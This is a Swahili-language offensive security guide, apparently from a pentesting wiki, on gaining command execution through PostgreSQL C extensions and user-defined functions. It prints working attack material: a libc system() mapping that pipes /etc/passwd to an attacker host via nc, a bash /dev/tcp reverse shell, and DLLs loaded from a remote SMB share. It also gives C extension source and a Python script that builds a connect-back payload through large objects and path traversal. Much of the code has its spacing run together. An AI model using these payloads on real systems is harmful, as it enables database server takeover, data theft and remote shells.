PostgreSQL imeandaliwa kwa ufanisi kama kipengele cha msingi, ikiruhusu kuunganishwa kwa nyongeza kama vile zilivyo kazi zilizojengwa ndani. Nyongeza hizi, kimsingi maktaba zilizoandikwa kwa C, zinaongeza uwezo wa hifadhidata kwa kazi, waendeshaji, au aina za ziada.
Kuanzia toleo la 8.1, hitaji maalum linawekwa kwa maktaba za nyongeza: lazima ziandikwe kwa kichwa maalum. Bila hii, PostgreSQL haitazitekeleza, kuhakikisha kuwa nyongeza zinazofaa na zinazoweza kuwa salama pekee ndizo zinatumika.
Utendaji wa amri za mfumo kutoka PostgreSQL 8.1 na toleo la awali ni mchakato ambao umeandikwa wazi na ni rahisi. Inawezekana kutumia hii: Metasploit module.
CREATE OR REPLACE FUNCTION system (cstring) RETURNS integer AS '/lib/x86_64-linux-gnu/libc.so.6', 'system' LANGUAGE 'c' STRICT;
SELECTsystem('cat /etc/passwd | nc <attacker IP> <attacker port>');# You can also create functions toopenand write filesCREATE OR REPLACEFUNCTIONopen(cstring, int, int) RETURNSintAS'/lib/libc.so.6', 'open'LANGUAGE'C' STRICT;CREATE OR REPLACEFUNCTIONwrite(int, cstring, int) RETURNSintAS'/lib/libc.so.6', 'write'LANGUAGE'C' STRICT;CREATE OR REPLACEFUNCTIONclose(int) RETURNSintAS'/lib/libc.so.6', 'close'LANGUAGE'C' STRICT;
Andika faili la binary kutoka base64
Ili kuandika binary kwenye faili katika postgres unaweza kuhitaji kutumia base64, hii itakuwa na msaada kwa jambo hilo:
CREATE OR REPLACEFUNCTIONwrite_to_file(fileTEXT, s TEXT) RETURNSintAS$$DECLAREfh int;s int;w bytea;i int;BEGINSELECTopen(textout(file)::cstring, 522, 448) INTO fh;IF fh <=2THENRETURN1;ENDIF;SELECT decode(s, 'base64') INTO w;i :=0;LOOPEXIT WHEN i >= octet_length(w);SELECT write(fh,textout(chr(get_byte(w, i)))::cstring, 1) INTO rs;IF rs <0THENRETURN2;ENDIF;i := i +1;ENDLOOP;SELECTclose(fh) INTO rs;RETURN0;END;$$ LANGUAGE'plpgsql';
Hata hivyo, wakati ilipofanywa kwenye toleo kubwa kosa lifuatalo lilionekana:
ERROR: incompatible library “/lib/x86_64-linux-gnu/libc.so.6”: missing magic blockHINT: Extension libraries are required to use the PG_MODULE_MAGIC macro.
Ili kuhakikisha kwamba faili la kitu kilichopakiwa kwa njia ya kidijitali halijapakiwa kwenye seva isiyofaa, PostgreSQL inakagua kwamba faili ina "block ya kichawi" yenye maudhui yanayofaa. Hii inaruhusu seva kugundua kutokubaliana dhahiri, kama vile msimbo ulioandikwa kwa toleo tofauti kuu la PostgreSQL. Block ya kichawi inahitajika kuanzia PostgreSQL 8.2. Ili kujumuisha block ya kichawi, andika hii katika moja (na moja tu) ya faili za chanzo za moduli, baada ya kujumuisha kichwa fmgr.h:
#ifdef PG_MODULE_MAGICPG_MODULE_MAGIC;#endif
Tangu toleo la PostgreSQL 8.2, mchakato wa mshambuliaji kutumia mfumo umefanywa kuwa mgumu zaidi. Mshambuliaji anahitajika ama kutumia maktaba ambayo tayari ipo kwenye mfumo au kupakia maktaba maalum. Maktaba hii maalum inapaswa kuandikwa dhidi ya toleo kuu linalofaa la PostgreSQL na inapaswa kujumuisha "block ya kichawi" maalum. Hatua hii inaongeza kwa kiasi kikubwa ugumu wa kutumia mifumo ya PostgreSQL, kwani inahitaji uelewa wa kina wa usanifu wa mfumo na ulinganifu wa toleo.
Compile the library
Get the PsotgreSQL version with:
SELECTversion();PostgreSQL 9.6.3on x86_64-pc-linux-gnu, compiled by gcc (Debian 6.3.0-18) 6.3.020170516, 64-bit
Ili kuhakikisha ufanisi, ni muhimu kwamba toleo kuu liendane. Hivyo basi, kuunda maktaba na toleo lolote ndani ya safu ya 9.6.x inapaswa kuhakikisha uunganisho mzuri.
Kisha pakia maktaba iliyokusanywa na uendeleze amri kwa:
CREATEFUNCTIONsys(cstring) RETURNSintAS'/tmp/pg_exec.so','pg_exec'LANGUAGECSTRICT;SELECTsys('bash -c "bash -i >& /dev/tcp/127.0.0.1/4444 0>&1"');#Notice the double single quotes are needed to scape the qoutes
Unaweza kupata hii maktaba iliyotayarishwa kwa toleo tofauti za PostgreSQL na hata unaweza kujiandaa mchakato huu (ikiwa una ufikiaji wa PostgreSQL) kwa:
DLL ifuatayo inachukua kama ingizo jina la binary na nambari ya mara unayotaka kuitekeleza na inatekeleza:
#include"postgres.h"#include<string.h>#include"fmgr.h"#include"utils/geo_decls.h"#include<stdio.h>#include"utils/builtins.h"#ifdefPG_MODULE_MAGICPG_MODULE_MAGIC;#endif/* Add a prototype marked PGDLLEXPORT */PGDLLEXPORT Datum pgsql_exec(PG_FUNCTION_ARGS);PG_FUNCTION_INFO_V1(pgsql_exec);/* this function launches the executable passed in as the first parameterin a FOR loop bound by the second parameter that is also passed*/Datumpgsql_exec(PG_FUNCTION_ARGS){/* convert text pointer to C string */#defineGET_STR(textp) DatumGetCString(DirectFunctionCall1(textout,PointerGetDatum(textp)))/* retrieve the second argument that is passed to the function (an integer)that will serve as our counter limit*/int instances =PG_GETARG_INT32(1);for (int c =0; c < instances; c++) {/*launch the process passed in the first parameter*/ShellExecute(NULL,"open", GET_STR(PG_GETARG_TEXT_P(0)),NULL,NULL,1);}PG_RETURN_VOID();}
Unaweza kupata DLL iliyokusanywa katika hii zip:
Unaweza kuonyesha kwa hii DLL ni binary ipi itatekelezwa na idadi ya mara ya kuitekeleza, katika mfano huu itatekeleza calc.exe mara 2:
CREATE OR REPLACE FUNCTION remote_exec(text, integer) RETURNS void AS '\\10.10.10.10\shared\pgsql_exec.dll', 'pgsql_exec' LANGUAGE C STRICT;
SELECTremote_exec('calc.exe',2);DROPFUNCTIONremote_exec(text,integer);
Kumbuka jinsi katika kesi hii kode mbaya iko ndani ya kazi ya DllMain. Hii inamaanisha kwamba katika kesi hii si lazima kutekeleza kazi iliyopakiwa katika postgresql, tu kupakia DLL kutatekeleza reverse shell:
CREATE OR REPLACE FUNCTION dummy_function(int) RETURNS int AS '\\10.10.10.10\shared\dummy_function.dll', 'dummy_function' LANGUAGE C STRICT;
The PolyUDF project ni mahali pazuri pa kuanzia na mradi kamili wa MS Visual Studio na maktaba inayotumika (ikiwemo: command eval, exec na cleanup) yenye msaada wa toleo nyingi.
RCE katika toleo jipya la Prostgres
Katika matoleo ya hivi karibuni ya PostgreSQL, vizuizi vimewekwa ambapo superuseramepigwa marufukukuchaji faili za maktaba ya pamoja isipokuwa kutoka kwenye directories maalum, kama vile C:\Program Files\PostgreSQL\11\lib kwenye Windows au /var/lib/postgresql/11/lib kwenye mifumo ya *nix. Hizi directories zime lindwa dhidi ya operesheni za kuandika na ama akaunti za NETWORK_SERVICE au postgres.
Licha ya vizuizi hivi, inawezekana kwa superuser wa database aliyeidhinishwa kuandika faili za binary kwenye mfumo wa faili kwa kutumia "vitu vikubwa." Uwezo huu unapanuka hadi kuandika ndani ya directory ya C:\Program Files\PostgreSQL\11\data, ambayo ni muhimu kwa operesheni za database kama vile kusasisha au kuunda meza.
Uthibitisho mkubwa unatokana na amri ya CREATE FUNCTION, ambayo inaruhusu kupita kwenye directory hadi kwenye directory ya data. Kwa hivyo, mshambuliaji aliyeidhinishwa anaweza kutumia kupita hapa kuandika faili la maktaba ya pamoja kwenye directory ya data na kisha kuchaji. Huu unyakuzi unamwezesha mshambuliaji kutekeleza msimbo wa kawaida, akipata utekelezaji wa msimbo wa asili kwenye mfumo.
Mchakato wa shambulio
Kwanza kabisa unahitaji kutumia vitu vikubwa kupakia dll. Unaweza kuona jinsi ya kufanya hivyo hapa:
Mara tu unapokuwa umepakia nyongeza (ikiwa na jina la poc.dll kwa mfano huu) kwenye directory ya data unaweza kuichaji na:
create function connect_back(text, integer) returns void as '../data/poc','connect_back' language C strict;select connect_back('192.168.100.54',1234);
Note that you don't need to append the .dll extension as the create function will add it.
For more information read theoriginal publication here.
In that publication this was thecode use to generate the postgres extension (ili kujifunza jinsi ya kukusanya nyongeza ya postgres soma toleo lolote la awali).
In the same page this exploit to automate this technique was given:
#!/usr/bin/env python3import sysiflen(sys.argv)!=4:print("(+) usage %s <connectback> <port> <dll/so>"% sys.argv[0])print("(+) eg: %s 192.168.100.54 1234 si-x64-12.dll"% sys.argv[0])sys.exit(1)host = sys.argv[1]port =int(sys.argv[2])lib = sys.argv[3]withopen(lib, "rb")as dll:d = dll.read()sql ="select lo_import('C:/Windows/win.ini', 1337);"for i inrange(0, len(d)//2048):start = i *2048end = (i+1) *2048if i ==0:sql +="update pg_largeobject set pageno=%d, data=decode('%s', 'hex') where loid=1337;"% (i, d[start:end].hex())else:sql += "insert into pg_largeobject(loid, pageno, data) values (1337, %d, decode('%s', 'hex'));" % (i, d[start:end].hex())
if (len(d)%2048) !=0:end = (i+1) *2048sql += "insert into pg_largeobject(loid, pageno, data) values (1337, %d, decode('%s', 'hex'));" % ((i+1), d[end:].hex())
sql +="select lo_export(1337, 'poc.dll');"sql +="create function connect_back(text, integer) returns void as '../data/poc', 'connect_back' language C strict;"sql +="select connect_back('%s', %d);"% (host, port)print("(+) building poc.sql file")withopen("poc.sql", "w")as sqlfile:sqlfile.write(sql)print("(+) run poc.sql in PostgreSQL using the superuser")print("(+) for a db cleanup only, run the following sql:")print(" select lo_unlink(l.oid) from pg_largeobject_metadata l;")print(" drop function connect_back(text, integer);")